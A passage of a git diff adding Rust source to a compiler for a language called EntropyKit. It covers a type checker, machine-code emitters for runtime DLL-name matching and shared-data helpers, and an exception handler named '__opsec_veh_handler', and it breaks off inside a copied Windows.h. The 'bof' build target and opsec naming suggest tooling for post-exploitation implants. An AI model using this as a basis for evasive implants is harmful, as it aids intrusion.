l_end = format!(".Lci_end_{unique}"); + + enc.place_code_label(&l_loop); + enc.test_r64_r64(Rcx, Rcx); + enc.jcc_label(Cond::Z, &l_done_count); + + // ASCII char (zero-extended) + enc.movzx_r64_byte_r64(R8, Rax); + enc.test_r64_r64(R8, R8); + enc.jcc_label(Cond::Z, &l_mismatch); // ASCII ended early -> length mismatch + + // Wide char low byte (we don't bother checking the high byte; for DLL + // names it's always 0). Same offset trick - read 16 bits via movzx word. + enc.movzx_r64_word_r64disp(R9, Rdx, 0); + + // Lowercase both: if in 'A'..'Z' add 32. + emit_to_lower(enc, R8); + emit_to_lower(enc, R9); + + enc.cmp_r64_r64(R8, R9); + enc.jcc_label(Cond::Ne, &l_mismatch); + + enc.inc_r64(Rax); + enc.add_r64_imm8(Rdx, 2); + enc.sub_r64_imm8(Rcx, 1); + enc.jmp_label(&l_loop); + + // Wide is exhausted; ASCII must also be at its NUL terminator. + enc.place_code_label(&l_done_count); + enc.movzx_r64_byte_r64(R8, Rax); + enc.test_r64_r64(R8, R8); + enc.jcc_label(Cond::Z, &l_match); + + enc.place_code_label(&l_mismatch); + enc.xor_r64_r64(Rax, Rax); + enc.jmp_label(&l_end); + + enc.place_code_label(&l_match); + enc.mov_r64_imm64(Rax, 1); + + enc.place_code_label(&l_end); +} + +/// Emit: if reg in 'A'..'Z' { reg += 32 } +fn emit_to_lower(enc: &mut Encoder, reg: Reg64) { + use Reg64::*; + let unique = next_label_id(); + let l_skip = format!(".Ltl_skip_{unique}"); + + enc.cmp_r64_imm32(reg, b'A' as i32); + enc.jcc_label(Cond::Lt, &l_skip); + enc.cmp_r64_imm32(reg, b'Z' as i32); + enc.jcc_label(Cond::Gt, &l_skip); + enc.add_r64_imm8(reg, 32); + enc.place_code_label(&l_skip); + let _ = Rax; // silence unused-import warning in this nested scope +} + +fn next_label_id() -> u64 { + use std::sync::atomic::{AtomicU64, Ordering}; + static N: AtomicU64 = AtomicU64::new(0); + N.fetch_add(1, Ordering::Relaxed) +} + +/// Stable label for the data section holding a DLL name string. We dedupe +/// per DLL so repeated imports from the same library share one string. +pub fn dll_string_label(dll: &str) -> String { + format!("__rstr_dll_{}", sanitize(dll)) +} + +/// Stable label for a function-name string. Function names are not unique +/// across DLLs in principle (think CreateProcessW in both kernel32 and +/// kernelbase), so the slot label is per (dll, func) - see [slot_label]. +pub fn func_string_label(func: &str) -> String { + format!("__rstr_fn_{}", sanitize(func)) +} + +/// Data-section label for the qword slot a call site dereferences. Encodes +/// both DLL and function name so different DLLs exporting the same name +/// don't collide. +pub fn slot_label(dll: &str, func: &str) -> String { + format!("FN_{}_{}", sanitize(dll), sanitize(func)) +} + +fn sanitize(s: &str) -> String { + s.chars() + .map(|c| if c.is_ascii_alphanumeric() || c == '_' { c } else { '_' }) + .collect() +} diff --git a/src/shared.rs b/src/shared.rs new file mode 100644 index 0000000..0d3da17 --- /dev/null +++ b/src/shared.rs @@ -0,0 +1,58 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; + +/// Data-section slot holding the host services table pointer (qword). +pub const SLOT_HOST_SERVICES: &str = "__host_services"; + +/// Code labels for the runtime helpers. +pub const FN_GET: &str = "__shared_get"; +pub const FN_PUT: &str = "__shared_put"; + +/// Byte offsets of each callable in the HostServices struct. +const OFF_GET: i32 = 0x00; +const OFF_PUT: i32 = 0x08; + +/// Emit the slot and helper bodies. Safe to call exactly once per binary. +pub fn emit_runtime(enc: &mut Encoder) { + if !enc.data_has(SLOT_HOST_SERVICES) { + enc.add_bss(SLOT_HOST_SERVICES, 8); + } + emit_get(enc); + emit_put(enc); +} + +/// __shared_get -> ptr. rcx = name; rax = host's return (or 0). +fn emit_get(enc: &mut Encoder) { + use Reg64::*; + enc.place_code_label(FN_GET); + enc.mov_r64_data(Rax, SLOT_HOST_SERVICES); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsg_nohost"); + enc.mov_r64_r64disp(Rax, Rax, OFF_GET); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsg_nohost"); + // Tail-call. rcx already holds name; caller reserved shadow space. + enc.jmp_r64(Rax); + + enc.place_code_label(".Lsg_nohost"); + enc.xor_r64_r64(Rax, Rax); + enc.ret(); +} + +/// __shared_put -> ok. rcx/rdx = name/ptr; rax = host's +/// return (0 if no host). +fn emit_put(enc: &mut Encoder) { + use Reg64::*; + enc.place_code_label(FN_PUT); + enc.mov_r64_data(Rax, SLOT_HOST_SERVICES); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsp_nohost"); + enc.mov_r64_r64disp(Rax, Rax, OFF_PUT); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsp_nohost"); + enc.jmp_r64(Rax); + + enc.place_code_label(".Lsp_nohost"); + enc.xor_r64_r64(Rax, Rax); + enc.ret(); +} diff --git a/src/typecheck.rs b/src/typecheck.rs new file mode 100644 index 0000000..828fb1e --- /dev/null +++ b/src/typecheck.rs @@ -0,0 +1,610 @@ + +use crate::ast::*; +use crate::codegen::BuildKind; +use std::collections::HashMap; + +pub fn check(prog: &Program) -> Result<(), Vec> { + check_with_kind(prog, BuildKind::Standard) +} + +pub fn check_with_kind(prog: &Program, kind: BuildKind) -> Result<(), Vec> { + let mut errs: Vec = Vec::new(); + let ctx = build_context(prog); + + let entry = kind.entry_name(); + let entry_fn = prog.functions.iter().find(|f| f.name == entry); + match (kind, entry_fn) { + (_, None) => errs.push(format!( + "error[T020]: missing entry point `{entry}` for --type={}", + match kind { + BuildKind::Standard => "standard", + BuildKind::Bof => "bof", + BuildKind::Coff => "coff", + } + )), + (BuildKind::Bof | BuildKind::Coff, Some(f)) => { + let ret_ok = matches!(f.ret_ty.as_str(), "void" | "" | "int"); + let arity_ok = f.params.len() == 2; + let args_ok = arity_ok + && (f.params[0].ty == "char*" || f.params[0].ty == "u8*" || f.params[0].ty == "void*") + && (f.params[1].ty == "int" || f.params[1].ty == "i32" || f.params[1].ty == "u32" || f.params[1].ty == "i64" || f.params[1].ty == "u64"); + if !(ret_ok && args_ok) { + errs.push(format!( + "error[T021]: BOF entry `go` must have signature \ + `fn go(args: char*, len: int) -> void` (got `fn {}({}) -> {}`)", + f.name, + f.params.iter() + .map(|p| format!("{}: {}", p.name, p.ty)) + .collect::>() + .join(", "), + if f.ret_ty.is_empty() { "void" } else { &f.ret_ty }, + )); + } + } + _ => {} + } + + for f in &prog.functions { + let mut scope = Scope::new(&ctx); + // Seed scope with parameter types so Var infers correctly. + for p in &f.params { + // Parameters are "declared" at the function header. We don't + // have a per-param span yet - Span::default (unknown) lets + // T010 still cite "(parameter)" if the user shadows one. + scope.locals.insert(p.name.clone(), (p.ty.clone(), Span::default())); + } + check_block(&f.body, &f.ret_ty, &f.name, &mut scope, &mut errs); + } + // Static initialisers run in main's prologue but are placed in module scope - + // walk them with an empty local scope so undefined Var references + // would surface as "unknown" types (silent today; future T-rule). + let mut empty = Scope::new(&ctx); + for s in &prog.statics { + if let Some(init) = &s.init { + check_expr(init, Span::default(), &mut empty, &mut errs); + // Treat the static as a top-level "var" for T003. + check_assignment_compat(&s.ty, init, &mut empty, + &format!("static `{}`", s.name), + Span::default(), &mut errs); + } + } + + if errs.is_empty() { Ok(()) } else { Err(errs) } +} + +// Context built once per program - function signatures, struct layouts. + +struct Context<'a> { + /// name -> (param types, return type) for every locally-defined fn. + fns: HashMap, + /// name -> declared field list for every struct (in declaration order). + structs: HashMap, + /// name -> declared type for every module-level static. + statics: HashMap, +} + +fn build_context(prog: &Program) -> Context<'_> { + let mut fns = HashMap::with_capacity(prog.functions.len()); + for f in &prog.functions { + fns.insert(f.name.clone(), (f.params.as_slice(), f.ret_ty.clone())); + } + let mut structs = HashMap::with_capacity(prog.structs.len()); + for s in &prog.structs { + structs.entry(s.name.clone()).or_insert(s.fields.as_slice()); + } + let mut statics = HashMap::with_capacity(prog.statics.len()); + for s in &prog.statics { + statics.entry(s.name.clone()).or_insert(s.ty.clone()); + } + Context { fns, structs, statics } +} + +// Walking scope for local-variable type tracking. + +struct Scope<'a> { + ctx: &'a Context<'a>, + locals: HashMap, +} + +impl<'a> Scope<'a> { + fn new(ctx: &'a Context<'a>) -> Self { Self { ctx, locals: HashMap::new() } } + + /// Look up a name's declared type. Searches locals first, then module + /// statics, then declared functions (as first-class code pointers). + /// Returns None when the name is unbound - that's T012. + fn lookup_type(&self, name: &str) -> Option<&str> { + self.locals.get(name).map(|(t, _)| t.as_str()) + .or_else(|| self.ctx.statics.get(name).map(String::as_str)) + .or_else(|| if self.ctx.fns.contains_key(name) { Some("u64") } else { None }) + } +} + +// Statement walker. + +fn check_block(stmts: &[Stmt], ret_ty: &str, fn_name: &str, + scope: &mut Scope, errs: &mut Vec) { + let mut unreachable_reported = false; // one T011 per block, not per dead stmt + let mut after_terminator = false; + for s in stmts { + if after_terminator && !unreachable_reported { + let span = stmt_span(s); + errs.push(format!( + "error[T011] at {span}: unreachable code - the previous \ + statement always exits the block (via `ret`, `break`, \ + or `continue`)" + )); + unreachable_reported = true; + } + check_stmt(s, ret_ty, fn_name, scope, errs); + if is_terminator(s) { after_terminator = true; } + } +} + +fn is_terminator(s: &Stmt) -> bool { + matches!(s, Stmt::Ret { .. } | Stmt::Break | Stmt::Continue | Stmt::Raise { .. }) +} + +/// Best-effort span for any statement. Span::default when the stmt +/// variant doesn't carry a span yet - error message degrades gracefully +/// to rather than fabricating a position. +fn stmt_span(s: &Stmt) -> Span { + match s { + Stmt::Var { span, .. } | Stmt::Ret { span, .. } + | Stmt::Raise { span, .. } => *span, + Stmt::Expr { span, value } => { + if !span.is_unknown() { *span } + else if let Expr::Call { span: cspan, .. } = value { *cspan } + else { Span::default() } + } + _ => Span::default(), + } +} + +fn check_stmt(s: &Stmt, ret_ty: &str, fn_name: &str, + scope: &mut Scope, errs: &mut Vec) { + match s { + Stmt::Var { name, ty, value, span } => { + if let Some((_, prev)) = scope.locals.get(name) { + let origin = if prev.is_unknown() { "(parameter)".into() } + else { format!("{prev}") }; + errs.push(format!( + "error[T010] at {span}: variable `{name}` is already \ + declared in this scope at {origin}. EntropyKit doesn't \ + have block scoping for `var` - every declaration is \ + visible for the rest of the function." + )); + } + // var x: void = ...; is meaningless - void exists only + // as a return type (no value) and as a pointee for void*. + if ty == "void" { + errs.push(format!( + "error[T022] at {span}: cannot declare `{name}` with type `void` - \ + `void` is a return-only type. Use `void*` for opaque pointers \ + or pick a concrete type." + )); + } + // The initialiser sees the OLD binding for name (so the + // self-reference idiom var x: int = x + 1; reads the prior + // x); the new binding goes in only after the RHS is checked. + if let Some(v) = value { + check_expr(v, *span, scope, errs); + check_assignment_compat(ty, v, scope, + &format!("var `{name}`"), *span, errs); + } + scope.locals.insert(name.clone(), (ty.clone(), *span)); + } + Stmt::Expr { value: e, .. } => check_expr(e, stmt_span(s), scope, errs), + Stmt::Ret { value, span } => { + match (ret_ty, value.as_ref()) { + ("void", Some(_)) => errs.push(format!( + "error[T023] at {span}: `fn {fn_name}() -> void` may not \ + return a value. Use a bare `ret;` to exit early." + )), + (rt, None) if rt != "void" && !rt.is_empty() => { + } + _ => {} + } + if let Some(e) = value { + check_expr(e, *span, scope, errs); + check_assignment_compat(ret_ty, e, scope, + &format!("return value of `{fn_name}`"), + *span, errs); + } + } + Stmt::Break | Stmt::Continue | Stmt::Asm(_) => {} + Stmt::Raise { value, span } => { + check_expr(value, *span, scope, errs); + } + Stmt::If { cond, then_body, else_body } => { + check_expr(cond, Span::default(), scope, errs); + check_block(then_body, ret_ty, fn_name, scope, errs); + check_block(else_body, ret_ty, fn_name, scope, errs); + } + Stmt::While { cond, body } => { + check_expr(cond, Span::default(), scope, errs); + check_block(body, ret_ty, fn_name, scope, errs); + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { check_stmt(i, ret_ty, fn_name, scope, errs); } + if let Some(c) = cond { check_expr(c, Span::default(), scope, errs); } + if let Some(st) = step { check_stmt(st, ret_ty, fn_name, scope, errs); } + check_block(body, ret_ty, fn_name, scope, errs); + } + Stmt::Try { body, err_name, handler } => { + check_block(body, ret_ty, fn_name, scope, errs); + // err is bound inside the handler as an int sentinel today. + scope.locals.insert(err_name.clone(), ("int".into(), Span::default())); + check_block(handler, ret_ty, fn_name, scope, errs); + } + } +} + +// Expression walker - collects T001/T002/T005/T006. + +fn check_expr(e: &Expr, stmt_span: Span, scope: &mut Scope, errs: &mut Vec) { + match e { + Expr::Int(_) | Expr::Str(_) | Expr::Bool(_) | Expr::SizeOf { .. } => {} + Expr::Var(name) => { + if scope.lookup_type(name).is_none() { + errs.push(format!( + "error[T012] at {stmt_span}: use of undeclared variable \ + `{name}`. Declare it with `var {name}: = ...;` \ + before this line, or check the spelling." + )); + } + } + Expr::Assign { name, value } => { + // Assignment to a name has the same "must exist" requirement + // as reading it. Walking the RHS first matches source order + // for diagnostics. + check_expr(value, stmt_span, scope, errs); + if scope.lookup_type(name).is_none() { + errs.push(format!( + "error[T012] at {stmt_span}: assignment to undeclared \ + variable `{name}`. Declare it with `var {name}: \ + ;` first." + )); + } + } + Expr::Unary { operand, .. } => check_expr(operand, stmt_span, scope, errs), + Expr::Binary { op, lhs, rhs } => { + check_expr(lhs, stmt_span, scope, errs); + check_expr(rhs, stmt_span, scope, errs); + check_string_in_arith(op, lhs, rhs, errs); + } + Expr::Field { base, .. } => check_expr(base, stmt_span, scope, errs), + Expr::FieldAssign { base, field, value } => { + check_expr(base, stmt_span, scope, errs); + check_expr(value, stmt_span, scope, errs); + check_field_assign(base, field, value, scope, errs); + } + Expr::DerefAssign { ptr, value } => { + check_expr(ptr, stmt_span, scope, errs); + check_expr(value, stmt_span, scope, errs); + } + Expr::Cast { expr, .. } => check_expr(expr, stmt_span, scope, errs), + Expr::Index { base, index } => { + check_expr(base, stmt_span, scope, errs); + check_expr(index, stmt_span, scope, errs); + } + Expr::IndexAssign { base, index, value } => { + check_expr(base, stmt_span, scope, errs); + check_expr(index, stmt_span, scope, errs); + check_expr(value, stmt_span, scope, errs); + } + Expr::Call { ns, fname, args, span } => { + for a in args { check_expr(a, *span, scope, errs); } + check_call(ns, fname, args, *span, scope, errs); + } + Expr::StructLit { ty, fields, span } => { + for (_, e) in fields { check_expr(e, *span, scope, errs); } + let Some(decl) = scope.ctx.structs.get(ty.as_str()) else { + errs.push(format!( + "error[T013] at {span}: struct literal references undeclared \ + type `{ty}`" + )); + return; + }; + for (fname, value) in fields { + let Some((_, fty)) = decl.iter().find(|(n, _)| n == fname) else { + errs.push(format!( + "error[T013] at {span}: struct `{ty}` has no field `{fname}`" + )); + continue; + }; + check_assignment_compat(fty, value, scope, + &format!("field `{ty}.{fname}`"), *span, errs); + } + } + } +} + +// Per-rule checkers. + +fn check_call(ns: &str, fname: &str, args: &[Expr], span: Span, + scope: &mut Scope, errs: &mut Vec) { + if !ns.is_empty() { return; } + if scope.locals.contains_key(fname) || scope.ctx.statics.contains_key(fname) { + return; + } + let Some((params, _ret_ty)) = scope.ctx.fns.get(fname) else { + errs.push(format!( + "error[T001] at {span}: call to undefined function `{fname}` - \ + no `fn {fname}(...)` is declared in this program. \ + Did you mean to namespace it (e.g. `User32.{fname}` for Win32 \ + or `mem.{fname}` for a memory intrinsic)?" + )); + return; + }; + if params.len() != args.len() { + errs.push(format!( + "error[T002] at {span}: `{fname}` expects {} argument{} but got {}", + params.len(), + if params.len() == 1 { "" } else { "s" }, + args.len(), + )); + return; + } + // T005 (general mismatch) / T009 (pointer-pointee specifically) - + // per-argument type compatibility. + for (i, (param, arg)) in params.iter().zip(args.iter()).enumerate() { + let arg_ty = infer_type(arg, scope); + match compat(¶m.ty, &arg_ty, arg) { + Compat::Ok => {} + Compat::Mismatch => errs.push(format!( + "error[T005] at {span}: arg {} of `{fname}` - \ + parameter `{}` is declared `{}` but got `{}`", + i + 1, param.name, param.ty, display_type(&arg_ty), + )), + Compat::PointerPointeeMismatch => errs.push(format!( + "error[T009] at {span}: arg {} of `{fname}` - \ + parameter `{}` is `{}` but the argument is `{}`. \ + Add an explicit cast (`({})arg`) if the reinterpretation \ + is intentional.", + i + 1, param.name, param.ty, display_type(&arg_ty), param.ty, + )), + } + } +} + +fn check_assignment_compat(target_ty: &str, value: &Expr, scope: &Scope, + ctx_label: &str, span: Span, errs: &mut Vec) { + let value_ty = infer_type(value, scope); + match compat(target_ty, &value_ty, value) { + Compat::Ok => {} + Compat::Mismatch => { + // Pick T003 for var / static initialisers, T004 for return values, + // based on the label the caller passed in. Keep the code stable + // per-rule so suppression instructions remain meaningful. + let code = if ctx_label.starts_with("return value") { "T004" } else { "T003" }; + errs.push(format!( + "error[{code}] at {span}: {ctx_label} is declared `{target_ty}` \ + but the value has type `{}`", + display_type(&value_ty), + )); + } + Compat::PointerPointeeMismatch => errs.push(format!( + "error[T009] at {span}: {ctx_label} is `{target_ty}` but the value \ + is `{}`. Add an explicit cast (`({})value`) if the \ + reinterpretation is intentional.", + display_type(&value_ty), target_ty, + )), + } +} + +fn check_field_assign(base: &Expr, field: &str, value: &Expr, + scope: &Scope, errs: &mut Vec) { + let base_ty = infer_type(base, scope); + let struct_name = base_ty.trim_end_matches('*'); + let Some(fields) = scope.ctx.structs.get(struct_name) else { return; }; + let Some((_, field_ty)) = fields.iter().find(|(n, _)| n == field) else { return; }; + let value_ty = infer_type(value, scope); + match compat(field_ty, &value_ty, value) { + Compat::Ok => {} + Compat::Mismatch => errs.push(format!( + "error[T008]: field `{struct_name}.{field}` is declared `{field_ty}` \ + but the assigned value has type `{}`", + display_type(&value_ty), + )), + Compat::PointerPointeeMismatch => errs.push(format!( + "error[T009]: field `{struct_name}.{field}` is `{field_ty}` \ + but the assigned value is `{}`. Add an explicit cast \ + (`({})value`) if the reinterpretation is intentional.", + display_type(&value_ty), field_ty, + )), + } +} + +/// T006 - 1 + "hello" and friends. +fn check_string_in_arith(op: &str, lhs: &Expr, rhs: &Expr, errs: &mut Vec) { + // Bitwise + arithmetic ops that don't make sense for strings. + let is_arith = matches!(op, + "+" | "-" | "*" | "/" | "%" | + "&" | "|" | "^" | "<<" | ">>"); + if !is_arith { return; } + if let Some(s) = string_literal(lhs).or_else(|| string_literal(rhs)) { + errs.push(format!( + "error[T006]: string literal {:?} used as an operand of `{op}` - \ + EntropyKit doesn't define `{op}` on strings. Use `(u64)\"...\"` \ + to take the literal's pointer if you really want pointer math.", + truncate(s, 24), + )); + } +} + +fn string_literal(e: &Expr) -> Option<&str> { + match e { + Expr::Str(s) => Some(s.as_str()), + _ => None, + } +} + +fn truncate(s: &str, max: usize) -> String { + if s.len() <= max { s.to_string() } + else { format!("{}…", &s[..max]) } +} + +// Type inference - minimal, string-based. Returns "?" when we honestly +// don't know (avoids false positives downstream). + +fn infer_type(e: &Expr, scope: &Scope) -> String { + match e { + Expr::Int(_) => "int".into(), + Expr::Str(_) => "str".into(), + Expr::Bool(_) => "bool".into(), + Expr::SizeOf { .. } => "u64".into(), + Expr::Cast { ty, .. } => ty.clone(), + Expr::Var(name) => { + scope.lookup_type(name).map(str::to_string).unwrap_or_else(|| "?".into()) + } + Expr::Field { base, field } => { + let base_ty = infer_type(base, scope); + // T* field access auto-derefs; collapse to T for lookup. + let lookup = base_ty.trim_end_matches('*'); + scope.ctx.structs.get(lookup) + .and_then(|fields| fields.iter().find(|(n, _)| n == field).map(|(_, t)| t.clone())) + .unwrap_or_else(|| "?".into()) + } + Expr::Index { base, .. } => { + let t = infer_type(base, scope); + element_type(&t).unwrap_or_else(|| "?".into()) + } + Expr::Unary { op, operand } => { + match op.as_str() { + "*" => { + let t = infer_type(operand, scope); + pointee(&t).unwrap_or_else(|| "?".into()) + } + "&" => format!("{}*", infer_type(operand, scope)), + "-" | "~" => "int".into(), + "!" => "bool".into(), + _ => "?".into(), + } + } + Expr::Binary { op, .. } => { + match op { + op if matches!(op.as_str(), + "==" | "!=" | "<" | ">" | "<=" | ">=" | "&&" | "||") => "bool".into(), + _ => "int".into(), + } + } + Expr::Call { ns, fname, .. } => infer_call_type(ns, fname, scope), + // Assignments are statements at the source level but expressions + // at the AST level - they evaluate to the assigned value's type. + Expr::Assign { value, .. } => infer_type(value, scope), + Expr::FieldAssign { value, .. } => infer_type(value, scope), + Expr::DerefAssign { value, .. } => infer_type(value, scope), + Expr::IndexAssign { value, .. } => infer_type(value, scope), + Expr::StructLit { ty, .. } => ty.clone(), + } +} + +fn infer_call_type(ns: &str, fname: &str, scope: &Scope) -> String { + if ns.is_empty() { + return scope.ctx.fns.get(fname).map(|(_, r)| r.clone()) + .unwrap_or_else(|| "?".into()); + } + match (ns, fname) { + ("mem", "alloc") => "u64".into(), + ("mem", "set") | ("mem", "zero") | ("mem", "copy") => "u64".into(), + ("mem", "cmp") => "int".into(), + ("mem", "collect") => "int".into(), + ("shared", "get") => "u64".into(), + ("shared", "put") => "int".into(), + ("str", "format") => "str".into(), + // Anything else with a non-empty namespace is a Win32 import. + // Treat as a generic 64-bit handle/pointer - caller can cast for + // pointee-typed use. + _ => "u64".into(), + } +} + +fn element_type(ty: &str) -> Option { + if let Some(t) = ty.strip_suffix(']') { + if let Some(idx) = t.rfind('[') { + return Some(t[..idx].to_string()); + } + } + pointee(ty) +} + +fn pointee(ty: &str) -> Option { + ty.strip_suffix('*').map(|s| s.to_string()) +} + + +#[derive(PartialEq, Eq)] +enum Compat { + Ok, + /// Different type families altogether (str vs int, struct vs pointer). + Mismatch, + /// Both sides are pointers / arrays but the pointee types differ. + PointerPointeeMismatch, +} + +fn compat(target: &str, source: &str, source_expr: &Expr) -> Compat { + // Unknown source to don't fire false positives. As the inferer learns + // more, this fallback shrinks naturally. + if source == "?" || target == "?" { return Compat::Ok; } + if target == source { return Compat::Ok; } + + // Integer literal 0 is the universal null - assignable to any pointer. + if matches!(source_expr, Expr::Int(0)) && is_pointer(target) { return Compat::Ok; } + + // An explicit (T)expr cast is the user saying "trust me, treat this + // as a T." Stop further checking - the cast is the type-system escape + // hatch by design. If they wrote it wrong, that's their problem. + if matches!(source_expr, Expr::Cast { .. }) { return Compat::Ok; } + + let tf = family(target); + let sf = family(source); + + if tf == sf { + if tf == Family::Pointer { + if pointee_eq(target, source) { Compat::Ok } + else { Compat::PointerPointeeMismatch } + } else { + Compat::Ok + } + } else if matches!((tf, sf), (Family::Int, Family::Pointer) | (Family::Pointer, Family::Int)) { + // Pointer <-> integer interchange is still permitted at the slot + // level (both are 8 bytes). This is the boundary that bytes + // will tighten in a future rule. + Compat::Ok + } else { + Compat::Mismatch + } +} + +/// True when two pointer/array types denote the same element type. Strips +/// one level of * or [N] from each side, then compares. +fn pointee_eq(a: &str, b: &str) -> bool { + let ap = element_type(a).unwrap_or_default(); + let bp = element_type(b).unwrap_or_default(); + !ap.is_empty() && ap == bp +} + +#[derive(PartialEq, Eq, Clone, Copy)] +enum Family { Int, Bool, Str, Pointer, Struct, Void } + +fn family(ty: &str) -> Family { + if ty == "void" { return Family::Void; } + if is_pointer(ty) { return Family::Pointer; } + match ty { + "int" | "u64" | "i64" | "u32" | "i32" | "u16" | "i16" | "u8" | "i8" => Family::Int, + "bool" => Family::Bool, + "str" | "wstr" => Family::Str, + _ if ty.contains('[') => Family::Pointer, // array decays to pointer + _ => Family::Struct, // assume user-defined struct + } +} + +fn is_pointer(ty: &str) -> bool { ty.ends_with('*') || ty.contains('[') } + +/// Display-friendly wrapper that turns the internal "?" sentinel into a +/// less alarming "unknown" so error messages don't leak the sentinel. +fn display_type(ty: &str) -> String { + if ty == "?" { "".into() } + else { ty.to_string() } +} + diff --git a/src/veh.rs b/src/veh.rs new file mode 100644 index 0000000..942f9ce --- /dev/null +++ b/src/veh.rs @@ -0,0 +1,59 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; + +pub const VEH_FN: &str = "__opsec_veh_handler"; + +/// Handle returned by AddVectoredExceptionHandler. Stored so we can +/// remove the handler at exit. +pub const VEH_HANDLE_SLOT: &str = "__opsec_veh_handle"; + +// EXCEPTION_POINTERS / EXCEPTION_RECORD / CONTEXT offsets (x64, stable +// since Vista). See winnt.h. +const EP_EXCEPTION_RECORD: i32 = 0x00; +const EP_CONTEXT_RECORD: i32 = 0x08; +const ER_EXCEPTION_CODE: i32 = 0x00; +const CTX_RAX: i32 = 0x78; +const CTX_RSP: i32 = 0x98; +const CTX_RBP: i32 = 0xA0; +const CTX_RIP: i32 = 0xF8; + +pub fn ensure_veh_slot(enc: &mut Encoder) { + if !enc.data_has(VEH_HANDLE_SLOT) { + enc.add_bss(VEH_HANDLE_SLOT, 8); + } +} + +pub fn emit_veh_handler(enc: &mut Encoder) { + use Reg64::*; + use crate::macros::{HANDLER_PC, HANDLER_RSP, HANDLER_RBP}; + + enc.place_code_label(VEH_FN); + + enc.mov_r64_data(Rax, HANDLER_PC); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".LVEH_NOT_HANDLED"); + + enc.mov_r64_r64disp(Rdx, Rcx, EP_CONTEXT_RECORD); + enc.mov_r64disp_r64(Rdx, CTX_RIP, Rax); + + enc.mov_r64_data(Rax, HANDLER_RSP); + enc.mov_r64disp_r64(Rdx, CTX_RSP, Rax); + + enc.mov_r64_data(Rax, HANDLER_RBP); + enc.mov_r64disp_r64(Rdx, CTX_RBP, Rax); + + // ExceptionCode -> Context->Rax. + enc.mov_r64_r64disp(Rcx, Rcx, EP_EXCEPTION_RECORD); + enc.mov_r32_r64disp(Rcx, Rcx, ER_EXCEPTION_CODE); + enc.mov_r64disp_r64(Rdx, CTX_RAX, Rcx); + + enc.xor_r64_r64(Rax, Rax); + enc.mov_data_r64(HANDLER_PC, Rax); + + enc.mov_r64_imm64(Rax, 0xFFFF_FFFF_FFFF_FFFF); + enc.ret(); + + enc.place_code_label(".LVEH_NOT_HANDLED"); + enc.xor_r64_r64(Rax, Rax); + enc.ret(); +} diff --git a/stdlib/Windows.h b/stdlib/Windows.h new file mode 100644 index 0000000..c3684d3 --- /dev/null +++ b/stdlib/Windows.h @@ -0,0 +1,272 @@ +#include + +/*++ BUILD Version: 0001 Increment this if a change has global effects + +Copyright (c) Microsoft Corporation. All rights reserved. + +Module Name: + + + windows.h + +Abstract: + + Master include file for Windows applications. + +--*/ + +#ifndef _WINDOWS_ +#define _WINDOWS_ + + +#include + +#ifndef _INC_WINDOWS +#define _INC_WINDOWS + +#if defined (_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +#pragma region Application Family or OneCore Family +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) + + +/* If defined, the following flags inhibit definition + * of the indicated items. + * + * NOGDICAPMASKS - CC_*, LC_*, PC_*, CP_*, TC_*, RC_ + * NOVIRTUALKEYCODES - VK_* + * NOWINMESSAGES - WM_*, EM_*, LB_*, CB_* + * NOWINSTYLES - WS_*, CS_*, ES_*, LBS_*, SBS_*, CBS_* + * NOSYSMETRICS - SM_* + * NOMENUS - MF_* + * NOICONS - IDI_* + * NOKEYSTATES - MK_* + * NOSYSCOMMANDS - SC_* + * NORASTEROPS - Binary and Tertiary raster ops + * NOSHOWWINDOW - SW_* + * OEMRESOURCE - OEM Resource values + * NOATOM - Atom Manager routines + * NOCLIPBOARD - Clipboard routines + * NOCOLOR - Screen colors + * NOCTLMGR - Control and Dialog routines + * NODRAWTEXT - DrawText() and DT_* + * NOGDI - All GDI defines and routines + * NOKERNEL - All KERNEL defines and routines + * NOUSER - All USER defines and routines + * NONLS - All NLS defines and routines + * NOMB - MB_* and MessageBox() + * NOMEMMGR - GMEM_*, LMEM_*, GHND, LHND, associated routines + * NOMETAFILE - typedef METAFILEPICT + * NOMINMAX - Macros min(a,b) and max(a,b) + * NOMSG - typedef MSG and associated routines + * NOOPENFILE - OpenFile(), OemToAnsi, AnsiToOem, and OF_* + * NOSCROLL - SB_* and scrolling routines + * NOSERVICE - All Service Controller routines, SERVICE_ equates, etc. + * NOSOUND - Sound driver routines + * NOTEXTMETRIC - typedef TEXTMETRIC and associated routines + * NOWH - SetWindowsHook and WH_* + * NOWINOFFSETS - GWL_*, GCL_*, associated routines + * NOCOMM - COMM driver routines + * NOKANJI - Kanji support stuff. + * NOHELP - Help engine interface. + * NOPROFILER - Profiler interface. + * NODEFERWINDOWPOS - DeferWindowPos routines + * NOMCX - Modem Configuration Extensions + */ + +#if defined(RC_INVOKED) && !defined(NOWINRES) + +#include + +#else + +#if defined(RC_INVOKED) +/* Turn off a bunch of stuff to ensure that RC files compile OK. */ +#define NOATOM +#define NOGDI +#define NOGDICAPMASKS +#define NOMETAFILE +#define NOMINMAX +#define NOMSG +#define NOOPENFILE +#define NORASTEROPS +#define NOSCROLL +#define NOSOUND +#define NOSYSMETRICS +#define NOTEXTMETRIC +#define NOWH +#define NOCOMM +#define NOKANJI +#define NOCRYPT +#define NOMCX +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_IX86) +#define _X86_ +#if !defined(_CHPE_X86_ARM64_) && defined(_M_HYBRID) +#define _CHPE_X86_ARM64_ +#endif +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_AMD64) +#define _AMD64_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_ARM) +#define _ARM_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) 